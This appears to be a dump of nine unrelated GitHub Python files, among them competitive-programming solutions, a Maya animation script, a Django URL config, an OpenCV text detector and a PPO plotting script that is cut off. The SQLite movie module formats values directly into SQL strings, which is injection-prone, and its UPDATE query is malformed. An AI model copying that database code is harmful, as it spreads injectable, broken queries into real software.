+{"seq_id":"32852198065","text":"def find(k):\n    while(1):\n        n=k\n        while(n>0):\n            r=n%10\n            if(r!=0 and k%r!=0):\n                break\n            n=n//10\n        if(n==0):\n            return(k)\n            break\n        k+=1\nt=int(input())\nfor _ in range(t):\n    n=int(input())\n    print(find(n))\n    \n    \n","repo_name":"Pulkit3108/Codeforces-Problems","sub_path":"Round#692(Div. 2)B.py","file_name":"Round#692(Div. 2)B.py","file_ext":"py","file_size_in_byte":306,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"40708423771","text":"'''\r\nComputer Animation: Project 6, Python Scripting\r\n\r\nAuthor: Alex Fantine\r\n\r\nDate: 4/24/2020\r\n'''\r\n\r\nimport maya.cmds as cmds\r\nimport random\r\nimport functools\r\n\r\n'''\r\nCreates the UI to select the number of 'shield' pieces in the animation.\r\n'''\r\ndef createUI( pWindowTitle, pApplyCallback ):\r\n    windowID = 'cells_window'\r\n    if cmds.window( windowID, exists=True ):\r\n        cmds.deleteUI( windowID )\r\n\r\n    cmds.window( windowID, title=pWindowTitle, sizeable=False, resizeToFitChildren=True )\r\n\r\n    #determines layout for UI, columnWidth =[(column_index, width in px)...]\r\n    cmds.rowColumnLayout( numberOfColumns=2, columnWidth=[ (1,100), (2,100) ])\r\n    cmds.text( label='Num Blood Cells:' )\r\n    num_shield_pieces = cmds.intField(value = 50)\r\n\r\n    cmds.separator( h=10, style='none' ) #blank space, for aesthetics\r\n    cmds.separator( h=10, style='none' )\r\n    cmds.separator( h=10, style='none' )\r\n    cmds.separator( h=10, style='none' )\r\n\r\n    cmds.button( label='Animate', command=functools.partial( pApplyCallback,\r\n                                                  num_shield_pieces,\r\n                                                  windowID ) )\r\n\r\n    '''\r\n    Allows the user to exit before the animation is generated.\r\n    '''\r\n    def cancelCallback( *pArgs ):\r\n        if cmds.window( windowID, exists=True ):\r\n            cmds.deleteUI( windowID )\r\n\r\n    cmds.button( label='Exit', command=cancelCallback )\r\n    cmds.showWindow()\r\n\r\n'''\r\nCallback function to being creating the animation. Sets the number of 'shield' pieces\r\nand calls method to start the animation. This solution was used to prevent the animation\r\nfrom starting until the user had selected a number of pieces in the UI window.\r\n'''\r\ndef applyCallback(  p_num_shield_pieces, p_window_ID, *pArgs ):\r\n    p_num_shield_pieces = cmds.intField( p_num_shield_pieces, query=True, value=True )\r\n\r\n    #deletes the UI window once generate has been pressed\r\n    if cmds.window( p_window_ID, exists=True ):\r\n        cmds.deleteUI( p_window_ID )\r\n\r\n    #run the rest of the script once generate has been pressed\r\n    run_script(p_num_shield_pieces)\r\n\r\n'''\r\nCreates a new shader of specified p_shader_type, and sets the shader of p_object to\r\nthe newly created shader object.\r\n'''\r\ndef applyMaterial(p_object, p_color, p_shader_type):\r\n    if cmds.objExists(p_object):\r\n        shd = cmds.shadingNode(p_shader_type, name=\"%s_%s\" % (p_object, p_shader_type), asShader=True)\r\n\r\n        #p_color is a list of [r,b,g]\r\n        cmds.setAttr(shd+\".color\", p_color[0],  p_color[1],  p_color[2], type=\"double3\")\r\n        shdSG = cmds.sets(name='%sSG' % shd, empty=True, renderable=True, noSurfaceShader=True)\r\n\r\n        cmds.connectAttr('%s.outColor' % shd, '%s.surfaceShader' % shdSG)\r\n        cmds.sets(p_object, e=True, forceElement=shdSG)\r\n\r\n'''\r\nCreates the 'shield' of shapes outside the core.\r\np_shield_shape is the shape to be duplicated\r\nThe shape of the shield pieces is based on the passed in parameter, so it can be\r\nadjusted more efficiently when this method is called.\r\n\r\nReturns a python list of each shield piece, along with the name of the shield group.\r\n'''\r\ndef generate_shield(p_shield_shape, p_num_shield_pieces):\r\n    random.seed( 1234 )\r\n    transformName = p_shield_shape[0]\r\n    instanceGroupName = cmds.group( empty=True, name=transformName + '_instance_grp#' )\r\n\r\n    #to keep track of the actual instances for returning\r\n    instance_group = []\r\n\r\n    for i in range( 0, p_num_shield_pieces ):\r\n        instanceResult = cmds.instance( transformName, name=transformName + '_instance#' )\r\n        cmds.parent( instanceResult, instanceGroupName )\r\n\r\n        x = random.uniform( -10, 10 )\r\n        y = random.uniform( 0, 20 )\r\n        z = random.uniform( -10, 10 )\r\n\r\n        cmds.move( x, y, z, instanceResult )\r\n\r\n        xRot = random.uniform( 0, 360 )\r\n        yRot = random.uniform( 0, 360 )\r\n        zRot = random.uniform( 0, 360 )\r\n\r\n        #no rotation needed since the pieces will be aimed at the core later\r\n\r\n        scalingFactor = random.uniform( 0.3, 1.15 )\r\n        cmds.scale( scalingFactor, 1.0, scalingFactor, instanceResult )\r\n        instance_group.append(instanceResult)\r\n\r\n    cmds.hide( transformName )\r\n    cmds.xform( instanceGroupName, centerPivots=True )\r\n    return instance_group, instanceGroupName\r\n\r\n'''\r\nMethod to create aim constraints from the shield pieces to the core.\r\n'''\r\ndef aim_at_first(p_shield_core, p_shield_pieces):\r\n    targetName = p_shield_core\r\n    for objectName in p_shield_pieces:\r\n        cmds.aimConstraint( targetName, objectName, aimVector=[0,1,0] )\r\n\r\n'''\r\nMethod used in the main rotation of the shield around the core.\r\n'''\r\ndef key_rotation(p_rotation_obj, pTargetAttribute, p_time_in, p_time_out):\r\n    cmds.cutKey( p_rotation_obj, time=(p_time_in, p_time_out), attribute=pTargetAttribute )\r\n    cmds.setKeyframe( p_rotation_obj, time=p_time_in, attribute=pTargetAttribute, value=0 )\r\n    cmds.setKeyframe( p_rotation_obj, time=p_time_out, attribute=pTargetAttribute, value=360 )\r\n    cmds.selectKey( p_rotation_obj, time=(p_time_in, p_time_out), attribute=pTargetAttribute, keyframe=True )\r\n    cmds.keyTangent( inTangentType='linear', outTangentType='linear' )\r\n\r\n'''\r\nProvides the shield pieces with the ability to 'expand' away from the core.\r\n\r\nReturns the name of the locator group.\r\n'''\r\ndef expand_from_first(p_target, p_shield_pieces):\r\n    targetName = p_target[0] #just get the target obj, not its underlying shape (led to error)\r\n    locatorGroupName = cmds.group( empty=True, name='expansion_locator_grp#' )\r\n    maxExpansion = 100\r\n    newAttributeName = 'expansion'\r\n    #initial creation of the expansion attribute\r\n    if not cmds.objExists( '%s.%s' % ( targetName, newAttributeName ) ):\r\n        cmds.select( targetName )\r\n        cmds.addAttr( longName=newAttributeName, shortName='exp',\r\n                      attributeType='double', min=0, max=maxExpansion,\r\n                      defaultValue=maxExpansion, keyable=True )\r\n\r\n    for objectName in p_shield_pieces:\r\n        #somehow the objects are each their own list, so just get the name of the obj\r\n        objectName = objectName[0]\r\n        coords = cmds.getAttr( '%s.translate' % ( objectName ) )[0]\r\n        locatorName = cmds.spaceLocator( position=coords, name='%s_loc#' % ( objectName ) )[0]\r\n        cmds.xform( locatorName, centerPivots=True )\r\n        cmds.parent( locatorName, locatorGroupName )\r\n        pointConstraintName = cmds.pointConstraint( [ targetName, locatorName ], objectName, name='%s_pointConstraint#' % ( objectName ) )[0]\r\n        cmds.expression( alwaysEvaluate=True,\r\n                         name='%s_attractWeight' % ( objectName ),\r\n                         object=pointConstraintName,\r\n                         string='%sW0=%s-%s.%s' % ( targetName, maxExpansion, targetName, newAttributeName ) )\r\n\r\n        cmds.connectAttr( '%s.%s' % ( targetName, newAttributeName ),\r\n                          '%s.%sW1' % ( pointConstraintName, locatorName ) )\r\n\r\n\r\n    cmds.xform( locatorGroupName, centerPivots=True )\r\n    return locatorGroupName\r\n\r\n'''\r\nKeyframes the expansion attribute at a lower value and a higher value.\r\n'''\r\ndef expansion(p_shield_center, time_in, time_out, exp_in_value = 0, exp_out_value = 100):\r\n    cmds.setKeyframe( p_shield_center, time=time_in, attribute='expansion', value=exp_in_value )\r\n    cmds.setKeyframe( p_shield_center, time=time_out, attribute='expansion', value=exp_out_value )\r\n\r\n'''\r\nCreates the hearbeat effect, given some starting time for the beat.\r\n'''\r\ndef heartbeat(p_core, p_start_time):\r\n    expansion(p_core, str(p_start_time) + 'sec', str(p_start_time) + '.5sec', 10, 100)\r\n    expansion(p_core, str(p_start_time) + '.6sec', str(p_start_time + 1) + 'sec', 50, 100)\r\n    expansion(p_core, str(p_start_time + 1) + '.1sec', str(p_start_time + 1) + '.9sec', 80, 10)\r\n\r\n'''\r\nMain execution of the animation, called immediately after the UI window has been closed.\r\n'''\r\ndef run_script(num_shield_pieces = 50):\r\n    RED = [1, 0, 0] #red blood cells\r\n    BLUE = [0, 0, 1] #blue for the core, aka Sonic\r\n    DARK_RED = [.545, 0, 0]\r\n\r\n    #create the lighting for the scene\r\n    main_light = cmds.directionalLight(name = \"main_light\", intensity = 5)\r\n    cmds.move(-5.711, 14.564, 11.097, \"main_light\")\r\n    cmds.rotate('-67.367deg', '-24.33deg', '54.557deg', \"main_light\")\r\n\r\n    #create the shape of the core and the shield\r\n    shield_shape = cmds.polyTorus (sr = 0.2, name=\"myRing#\") #shape of shield\r\n    shield_center = cmds.polyPlatonicSolid (radius=2.55, st=1, name=\"core\")\r\n    applyMaterial(shield_center[0], DARK_RED, 'lambert')\r\n    cmds.move(0, 9, 0, \"core\") #move the core higher\r\n\r\n    #add decorative cylinder to core\r\n    core_piece_1 = cmds.polyCylinder(name=\"tube_1\")\r\n    applyMaterial(core_piece_1[0], BLUE, 'lambert')\r\n    cmds.move(0.195, 11.014, -1.221, \"tube_1\")\r\n    cmds.rotate('-30.351deg', 0, 0, \"tube_1\")\r\n    cmds.scale(0.505, 0.619, 0.505, \"tube_1\")\r\n\r\n    #add another decorative cylinder to core\r\n    core_piece_2 = cmds.polyCylinder(name=\"tube_2\")\r\n    applyMaterial(core_piece_2[0], RED, 'lambert')\r\n    cmds.move(-0.917, 11.185, -0.216, \"tube_2\")\r\n    cmds.rotate('-3.436deg', '14.201deg', '24.834deg', \"tube_2\")\r\n    cmds.scale(0.505, 0.619, 0.505, \"tube_2\")\r\n\r\n    #generate random shield fragments\r\n    shield_pieces, shield_pieces_group = generate_shield(shield_shape, num_shield_pieces)\r\n\r\n    #coloring the shield pieces\r\n    for piece_obj in shield_pieces:\r\n        applyMaterial(piece_obj[0], RED, 'phong')\r\n\r\n    #aim fragments at core\r\n    aim_at_first(shield_center, shield_pieces)\r\n\r\n    #create and link expansion attribute\r\n    locator_group = expand_from_first(shield_center, shield_pieces)\r\n\r\n    #must group locators so they can be rotated with the fragments\r\n    cmds.parent(locator_group, shield_pieces_group)\r\n\r\n    startTime = cmds.playbackOptions( query=True, minTime=True )\r\n    endTime = cmds.playbackOptions( query=True, maxTime=True )\r\n\r\n    #second param is rotation param\r\n    key_rotation(shield_pieces_group, 'rotateY', startTime, endTime)\r\n\r\n    #create heartbeat animation pattern\r\n    cmds.cutKey( shield_center, time=(startTime, endTime), attribute='expansion')\r\n    heartbeat(shield_center, 0)\r\n    heartbeat(shield_center, 2)\r\n    heartbeat(shield_center, 4)\r\n    heartbeat(shield_center, 6)\r\n    heartbeat(shield_center, 8)\r\n    heartbeat(shield_center, 10)\r\n    cmds.selectKey( shield_center, time=(startTime, endTime), attribute='expansion', keyframe=True )\r\n    cmds.keyTangent( inTangentType='linear', outTangentType='linear' )\r\n\r\nif __name__ == '__main__':\r\n    #set length of animation to 12 seconds\r\n    cmds.playbackOptions( minTime='0sec', maxTime='12sec' )\r\n\r\n    #start the UI \r\n    createUI( 'Blood Cells', applyCallback )\r\n","repo_name":"ajfantine/maya_animation","sub_path":"full_script.py","file_name":"full_script.py","file_ext":"py","file_size_in_byte":10812,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"69947458570","text":"#! /usr/bin/env python\n# -*- coding:utf-8 -*-\nimport sqlite3\nimport os, sys\n\nwork_dir = os.path.dirname(os.path.abspath(__file__))\n\nMOVIE_TABLE = '''\n    CREATE TABLE DoubanMovie(\n        id INT PRIMARY KEY     NOT NULL,\n        title      TEXT        NOT NULL,\n        alias      TEXT,\n        cover_url  TEXT,\n        year       INT,\n        date       CHAR(12),\n        rating     CHAR(6),\n        imdb       CHAR(12),\n        type       CHAR(6),\n        abstract   TEXT,\n        abstract_2 TEXT,\n        descript   TEXT\n    );\n'''\n\n\n\nclass database():\n    # 初始化打开数据库 \n    def __init__(self, file):\n        if not os.path.exists(file):\n            self._create_db(file)\n        else:\n            self._open_db(file)\n\n    # 打开或者创建sqlite3数据库 \n    def _open_db(self, file):\n        self.db = sqlite3.connect(file)\n    def _create_db(self, file):\n        self._open_db(file)\n        self.exec_write(MOVIE_TABLE)\n\n    # 读写原始操作 \n    def exec_read(self, sql):\n        return self.db.execute(sql)\n    def exec_write(self, sql):\n        c = self.db.cursor()\n        c.execute(sql)\n        c.close()\n        self.db.commit()\n    \n    # 关闭时候处理 \n    def __del__(self):\n        self.db.close()\n\nclass movie():\n    def __init__(self):\n        self.mdb_file = os.path.abspath(os.path.join(work_dir, '..', 'data', 'movie.db'))\n        self.mdb = database(self.mdb_file)\n\n    def __del__(self):\n        pass\n    \n    # 检测电影id号是否在数据库 \n    def check_movie_in_sql(self, movie_id):\n        sqlstr = 'select count(*) from DoubanMovie where id=\"{0}\";'.format(movie_id)\n        conn = self.mdb.exec_read(sqlstr)\n        for row in conn:\n            if row[0] != 0:\n                return True\n            return False\n        return False\n\n    # 晚与某年的所有电影 \n    def get_movie_after_year(self, year):\n        sqlstr = 'select id from DoubanMovie where year>{0};'.format(int(year))\n        return self.mdb.exec_read(sqlstr)\n    \n    def get_all_movie_id(self):\n        sqlstr = 'select id from DoubanMovie'\n        return self.mdb.exec_read(sqlstr).fetchall()\n\n    # 插入数据 \n    def save_movie2sql(self, info):\n        sqlstr = 'INSERT INTO DoubanMovie (id,title,alias,cover_url,year,date,rating,imdb,type,abstract,abstract_2,descript) VALUES ({});'.format(\n            '{},'.format(info.get('id')) + \n            '\"{}\",'.format(info.get('title').replace('\"', '&quot;')) +\n            '\"{}\",'.format(info.get('alias').replace('\"', '&quot;')) +\n            '\"{}\",'.format(info.get('cover_url')) +\n            '{},'.format(info.get('year')) + \n            '\"{}\",'.format(info.get('date')) + \n            '\"{}\",'.format(info.get('rating')) +\n            '\"{}\",'.format(info.get('imdb')) +\n            '\"{}\",'.format(info.get('type')) +\n            '\"{}\",'.format(info.get('abstract').replace('\"', '&quot;')) + \n            '\"{}\",'.format(info.get('abstract_2').replace('\"', '&quot;')) + \n            '\"{}\"'.format(info.get('descript').replace('\"', '&quot;'))\n            )\n        # print(sqlstr)\n        try:\n            self.mdb.exec_write(sqlstr)\n        except:\n            print(info)\n            exit(0)\n    \n    # 更新数据 \n    def update_move2sql(self, info):\n        sqlstr = 'UPDATE INTO DoubanMovie SET {0} WHERE {1};'.format(\n            'title=\"{}\",'.format(info.get('title')) +\n            'alias=\"{}\",'.format(info.get('alias')) +\n            'cover_url=\"{}\",'.format(info.get('cover_url')) +\n            'year={},'.format(info.get('year')) + \n            'date=\"{}\",'.format(info.get('date')) + \n            'rating=\"{}\",'.format(info.get('rating')) +\n            'imdb=\"{}\",'.format(info.get('imdb')) +\n            'type=\"{}\",'.format(info.get('type')) +\n            'abstract=\"{}\",'.format(info.get('abstract')) + \n            'abstract_2=\"{}\"'.format(info.get('abstract_2')) + \n            'descript=\"{}\"'.format(info.get('descript')),\n            'id={},'.format(info.get('id'))\n            )\n        self.mdb.exec_write(sqlstr)\n    \n    # 时间完善 \n    def get_movie_year(self):\n        sqlstr = 'SELECT id,year,date FROM DoubanMovie'\n        return self.mdb.exec_read(sqlstr)\n\n    def update_year(self, id, year):\n        sqlstr = \"UPDATE DoubanMovie SET year='{0}' WHERE id='{1}';\".format(year, id)\n        # print(sqlstr)\n        self.mdb.exec_write(sqlstr)","repo_name":"Kerrbty/movie_spy","sub_path":"src/module/sql.py","file_name":"sql.py","file_ext":"py","file_size_in_byte":4366,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"28765872965","text":"def solution(gems):\n    answer = [1, len(gems)]\n\n    dic = dict()\n    \n    total = len(set(gems))\n    start, end = 0, 0\n    \n    while end <= len(gems):\n        if len(dic) == total:\n            if end - start - 1 < answer[1] - answer[0]:\n                answer = [start + 1, end]\n\n            if dic[gems[start]] <= 1:\n                del dic[gems[start]]\n            else:\n                dic[gems[start]] -= 1\n            start += 1\n\n        else:\n            if end < len(gems):\n                if gems[end] not in dic.keys():\n                    dic[gems[end]] = 1\n                else:\n                    dic[gems[end]] += 1     \n            end += 1\n\n    return answer","repo_name":"namu1714/Algorithm-Problem-Solving","sub_path":"기타/python/programmers_보석쇼핑.py","file_name":"programmers_보석쇼핑.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"845986273","text":"\"\"\"\nThis module contains base classes for library events.\n\"\"\"\nfrom __future__ import annotations\n\nimport abc\nimport dataclasses\nfrom typing import TYPE_CHECKING\n\nif TYPE_CHECKING:\n    from typing import Type\n    from typing import Callable\n    from .models import OAuthToken\n\n__all__ = (\n    \"Eventable\",\n    \"BaseEvent\",\n    \"ClientAddEvent\",\n    \"ClientUpdateEvent\",\n)\n\n\nclass Eventable(abc.ABC):\n    \"\"\"Abstract for classes that handle events\"\"\"\n\n    __slots__ = (\"_listeners\",)\n\n    def __init__(self) -> None:\n        self._listeners: dict[str, list[Callable]] = {}\n\n    def _register_event(self, event: Type[BaseEvent]) -> None:\n        r\"\"\"Registers an event\n\n        :param event: Event type to register\n        :type event: Type[BaseEvent]\n        \"\"\"\n        self._listeners[event._name] = []\n\n    def _register_listener(self, func: Callable, event: Type[BaseEvent]) -> None:\n        r\"\"\"Registers an event listener\n\n        :param func: Function to call when event is emitted\n        :type func: Callable\n        :param event: Event type to listen for\n        :type event: Type[BaseEvent]\n\n        :raises NotImplementedError: If event is not implemented\n        \"\"\"\n        if event._name not in self._listeners:\n            raise NotImplementedError(f\"{event!r}\")\n        self._listeners[event._name].append(func)\n\n    async def _process_event(self, event: BaseEvent) -> None:\n        r\"\"\"Processes an event\n\n        :param event: Event to process\n        :type event: BaseEvent\n\n        :raises NotImplementedError: If event is not implemented\n        \"\"\"\n        if event._name not in self._listeners:\n            raise NotImplementedError(f\"{event!r}\")\n        for listener in self._listeners[event._name]:\n            await listener(event)\n\n\n@dataclasses.dataclass\nclass BaseEvent(abc.ABC):\n    \"\"\"Abstract for event classes\"\"\"\n\n    _name = \"BaseEvent\"\n\n\n@dataclasses.dataclass\nclass ClientAddEvent(BaseEvent):\n    \"\"\"Event for when a client is added\"\"\"\n\n    _name = \"ClientAddEvent\"\n    session_id: int\n    \"\"\"0 if app client\"\"\"\n    client: Eventable\n    \"\"\"The client that was added\"\"\"\n\n\n@dataclasses.dataclass\nclass ClientUpdateEvent(BaseEvent):\n    \"\"\"Event for when a client is updated\"\"\"\n\n    _name = \"ClientUpdateEvent\"\n    client: Eventable\n    old_token: OAuthToken\n    new_token: OAuthToken\n","repo_name":"NiceAesth/aiosu","sub_path":"aiosu/events.py","file_name":"events.py","file_ext":"py","file_size_in_byte":2318,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"16"}
+{"seq_id":"70950748168","text":"# USAGE\n# python text_detection.py -i oriImgs/lebron_james.jpg \n\nimport cv2\nimport time\nimport numpy as np\nimport argparse\nfrom imutils.object_detection import non_max_suppression\n\nap = argparse.ArgumentParser()\nap.add_argument(\"-i\", \"--image\", type = str, help = \"path to input image\")\nargs = vars(ap.parse_args())\n\nimage = cv2.imread(args[\"image\"])\ncv2.imshow('image', image)\ncv2.waitKey(0)\nori = image.copy()\n(H, W) = image.shape[:2]\n\n(newW, newH) = (320, 320)\nrW = W / float(newW)\nrH = H / float(newH)\n\nimage = cv2.resize(image, (newW, newH))\n(H, W) = image.shape[:2]\n\n# 为EAST检测模型定义两个输出层名字：第一个是文本得分，第二个是文本形状\nlayerNames = [\n    \"feature_fusion/Conv_7/Sigmoid\",\n    \"feature_fusion/concat_3\"\n]\n\n# 加载预训练EAST文本检测模型\nnet = cv2.dnn.readNet('./models/frozen_east_text_detection.pb')\n\n# 从图像中构建一个blob，然后执行一个forward，获得两个集合\nblob = cv2.dnn.blobFromImage(image, 1.0, (W, H), (123.68, 116.78, 103.94), swapRB = True, crop = False)\nstart = time.time()\nnet.setInput(blob)\n(scores, geometry) = net.forward(layerNames)\nend = time.time()\nprint(\"[INFO] text detection took {:.6f} seconds\".format(end - start))\n\n(numRows, numCols) = scores.shape[2:4]\nrects = []\nconfidences = []\nminConfidence = 0.5\n\nfor y in range(0, numRows):\n    # 提取分数和包围文本的方框几何坐标\n    scoresData = scores[0, 0, y]\n    xData0 = geometry[0, 0, y]\n    xData1 = geometry[0, 1, y]\n    xData2 = geometry[0, 2, y]\n    xData3 = geometry[0, 3, y]\n    anglesData = geometry[0, 4, y]\n\n    for x in range(0, numCols):\n        if scoresData[x] < minConfidence:\n            continue\n\n        # 特征图比输入图小四倍，所以需要乘4\n        (offsetX, offsetY) = (x * 4.0, y * 4.0)\n\n        angle = anglesData[x]\n        cos = np.cos(angle)\n        sin = np.sin(angle)\n\n        h = xData0[x] + xData2[x]\n        w = xData1[x] + xData3[x]\n\n        endX = int(offsetX + (cos * xData1[x]) + (sin * xData2[x]))\n        endY = int(offsetY - (sin * xData1[x]) + (cos * xData2[x]))\n        startX = int(endX - w)\n        startY = int(endY - h)\n\n        rects.append((startX, startY, endX, endY))\n        confidences.append(scoresData[x])\n\n# 使用极大值抑制\nboxes = non_max_suppression(np.array(rects), probs = confidences)\n\nfor (startX, startY, endX, endY) in boxes:\n    startX = int(startX * rW)\n    startY = int(startY * rH)\n    endX = int(endX * rW)\n    endY = int(endY * rH)\n\n    cv2.rectangle(ori, (startX, startY), (endX, endY), (0, 255, 0), 2)\n\ncv2.imshow('Text Detection', ori)\ncv2.imwrite('./resImgs/result.jpg', ori)\ncv2.waitKey(0)\ncv2.destroyAllWindows()","repo_name":"Ayonksh/pycv-training","sub_path":"08.text_detection/text_detection.py","file_name":"text_detection.py","file_ext":"py","file_size_in_byte":2674,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"16"}
+{"seq_id":"19581430171","text":"class PersonTitles:\n    TITLES = ('Dr', 'Mr', \"Mrs\", \"Ms\")\n\n    def __init__(self, title, name, surname, allowed_titles=TITLES):\n        if title not in allowed_titles:\n            raise ValueError(\"%s is not a valid title. \" % title)\n\n        self.title = title\n        self._name = name\n        self.surname = surname\n\n    def getName(self):\n        return self._name\n\n    def setName(self, new_name):\n        # validate the input...\n        self._name = new_name\n\n    def __str__(self):\n        return f\"{self.title} {self._name}\"\n\n\nif __name__ == '__main__':\n    try:\n        error = PersonTitles(\"Sir\", \"John\", \"Smith\")\n    except Exception as err:\n        print(err)\n    person = PersonTitles(\"Dr\", \"john\", \"Smith\")\n    print(person)\n    person.setName(\"John\")\n    print(person)","repo_name":"EmeraldVoltron/PythonFall2023Module10","sub_path":"lecture/person_2.py","file_name":"person_2.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"74535879368","text":"from django.conf import settings\nfrom django.conf.urls import include, url\nfrom django.conf.urls.static import static\nfrom django.contrib import admin\nfrom django.urls import path\nfrom django.views import defaults as default_views\n\nfrom gobgift.api.views import FacebookLogin, GoogleLogin\nfrom gobgift.core.views import home, logout, done, app, privacy_policy\nfrom gobgift.groups.views import ListGroupAutocomplete\nfrom gobgift.groups.views import UserAutocomplete\n\nurlpatterns = [\n    path('', home, name=\"home\"),\n    path('app/', app, name=\"app\"),\n    path('login/', home),\n    path('logout/', logout),\n    path('done/', done, name='done'),\n    path('privacy/', privacy_policy, name='privacy'),\n    path(settings.ADMIN_URL, admin.site.urls),\n    path(r'accounts', include('allauth.urls')),\n\n    path(r'lists/', include(('gobgift.wishlists.urls', 'gobgift.wishlists'), namespace='lists')),\n    path(r'gifts/', include(('gobgift.gifts.urls', 'gobgift.gifts'), namespace='gifts')),\n    path(r'groups/', include(('gobgift.groups.urls', 'gobgift.groups'), namespace='groups')),\n\n    # DjangoRestFramework\n    path(r'api/', include(('gobgift.api.urls', 'gobgift.api'), namespace='api')),\n    path(r'api-auth/', include('rest_framework.urls', namespace='rest_framework')),\n    path(r'rest-auth/', include('rest_auth.urls')),\n    path(r'rest-auth/facebook/', FacebookLogin.as_view(), name='fb_login'),\n    path(r'rest-auth/google/', GoogleLogin.as_view(), name='rest_google_login'),\n\n    # Django autocomplete light\n    path(r'user-autocomplete/', UserAutocomplete.as_view(), name=\"user-autocomplete\"),\n    path(r'listgroup-autocomplete/', ListGroupAutocomplete.as_view(), name=\"listgroup-autocomplete\"),\n]\n\nurlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n\nif settings.DEBUG:\n    import debug_toolbar\n\n    # This allows the error pages to be debugged during development, just visit\n    # these url in browser to see how these error pages look like.\n    urlpatterns += [\n        path('400/', default_views.bad_request, kwargs={'exception': Exception('Bad Request!')}),\n        path('403/', default_views.permission_denied,\n            kwargs={'exception': Exception('Permission Denied')}),\n        path('404/', default_views.page_not_found, kwargs={'exception': Exception('Page not Found')}),\n        path('500/', default_views.server_error),\n        path('__debug__/', include(debug_toolbar.urls)),\n        # url(r'^docs/$', serve, {'document_root': settings.DOCS_ROOT, 'path': 'index.html'}),\n        # url(r'^docs/(?P<path>.*)$', serve, {'document_root': settings.DOCS_ROOT}),\n    ]\n","repo_name":"kimond/gobgift","sub_path":"config/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"27444431979","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nplt.rcParams[\"figure.figsize\"] = (20,10)\n\n# Copied from local .ipynb\n\n# PPO_TF2\n\n# Comparison with Different Number of Neurons in Hidden Layer\n# Dense(512, activation=\"elu\", kernel_initializer='he_uniform')\n#mean_rewards_experiment_0 = pd.read_csv('PPO_TF2_mean_rewards_20220810213523.csv', index_col='Unnamed: 0') # 100 Eps\nmean_rewards_experiment_05 = pd.read_csv('PPO_TF2_mean_rewards_20220811_091620.csv', index_col='Unnamed: 0')\n\n# Dense(64, activation=\"elu\", kernel_initializer='he_uniform')\nmean_rewards_experiment_1 = pd.read_csv('PPO_TF2_mean_rewards_20220810222837.csv', index_col='Unnamed: 0') # 100 Eps\nmean_rewards_experiment_2 = pd.read_csv('PPO_TF2_mean_rewards_20220811074852.csv', index_col='Unnamed: 0') # 100 Eps\n\n# Dense(256, activation=\"elu\", kernel_initializer='he_uniform')(X)\nmean_rewards_experiment_3 = pd.read_csv('PPO_TF2_mean_rewards_20220811_091518.csv', index_col='Unnamed: 0')\n\n# Dense(4, activation=\"elu\", kernel_initializer='he_uniform')\nmean_rewards_experiment_4 = pd.read_csv('PPO_TF2_mean_rewards_20220811_083648.csv', index_col='Unnamed: 0') # 800 Eps, saved model: PongDeterministic-v4_APPO_0.0001_Actor_Dense4\n\nplt.plot(mean_rewards_experiment_05, label = \"512 Neurons\")\nplt.plot(mean_rewards_experiment_1, label = \"64 Neurons\")\nplt.plot(mean_rewards_experiment_2, label = \"64 Neurons\")                                                                                                             \nplt.plot(mean_rewards_experiment_3, label = \"256 Neurons\")\nplt.plot(mean_rewards_experiment_4, label = \"4 Neurons\")\nplt.legend()\nplt.title('Performance for Differing Counts of Neurons')\nplt.show()\n\n#------------------------------------------------------------------------------------------------------------\n# Outcome reliability analysis\n\norc1 = pd.read_csv('mean_rewards_0813_12-41-59_5_0.0001_0.2_Dense_512_OutcomeReliabilityComparison.csv', index_col='Episode')\norc2 = pd.read_csv('mean_rewards_0814_07-43-45_5_0.0001_0.2_Dense_512_OutcomeReliabilityComparison.csv', index_col='Episode')\norc3 = pd.read_csv('mean_rewards_0814_22-42-14_5_0.0001_0.2_Dense_512_OutcomeReliabilityComparison0.csv', index_col='Episode')\norc4 = pd.read_csv('mean_rewards_0815_08-00-13_5_0.0001_0.2_Dense_512_OutcomeReliabilityComparison0.csv', index_col='Episode')\norc5 = pd.read_csv('mean_rewards_0815_18-21-55_5_0.0001_0.2_Dense_512_OutcomeReliabilityComparison0.csv', index_col='Episode')\norc6 = pd.read_csv('mean_rewards_0816_06-58-45_5_0.0001_0.2_Dense_512_OutcomeReliabilityComparison0.csv', index_col='Episode')\norc7 = pd.read_csv('mean_rewards_0816_14-39-46_5_0.0001_0.2_Dense_512_OutcomeReliabilityComparison0.csv', index_col='Episode')\norc8 = pd.read_csv('mean_rewards_0816_22-45-19_5_0.0001_0.2_Dense_512_OutcomeReliabilityComparison0.csv', index_col='Episode')\norc9 = pd.read_csv('mean_rewards_0817_23-07-13_5_0.0001_0.2_Dense_512_OutcomeReliabilityComparison0.csv', index_col='Episode')\n\nwins = []\nfor i in range(9):\n    df_no = i+1\n    series_MoAv = eval('orc{}'.format(df_no))['Moving Average Score (n=50)'] #['Score']#\n    col = (0,df_no/9,df_no/9)\n    plt.plot(series_MoAv, label = df_no, color=col)\n    #get first positive value above 0\n    first_win = series_MoAv[series_MoAv>0].index[0]\n    plt.vlines(x=first_win, ymin=-21, ymax=0, color=col)\n    print(first_win)\n    wins.append(first_win)\n    \n\nplt.axhline(y = 0, color = 'r', linestyle = '-')\nplt.legend()\nplt.xlabel(\"Episodes\")\nplt.ylabel(\"Reward\")\nprint(\"average: \" + str(sum(wins)/len(wins)))\nplt.title('Outcome Reliability Analysis: Nine Runs with Same Hyperparameters')\nplt.show()\n\n\n#------------------------------------------------------------------------------------------------------------\n# Plotting 4th run only \nplt.plot(orc4['Score'], label = 'Score')\nplt.plot(orc4['Moving Average Score (n=50)'], color = 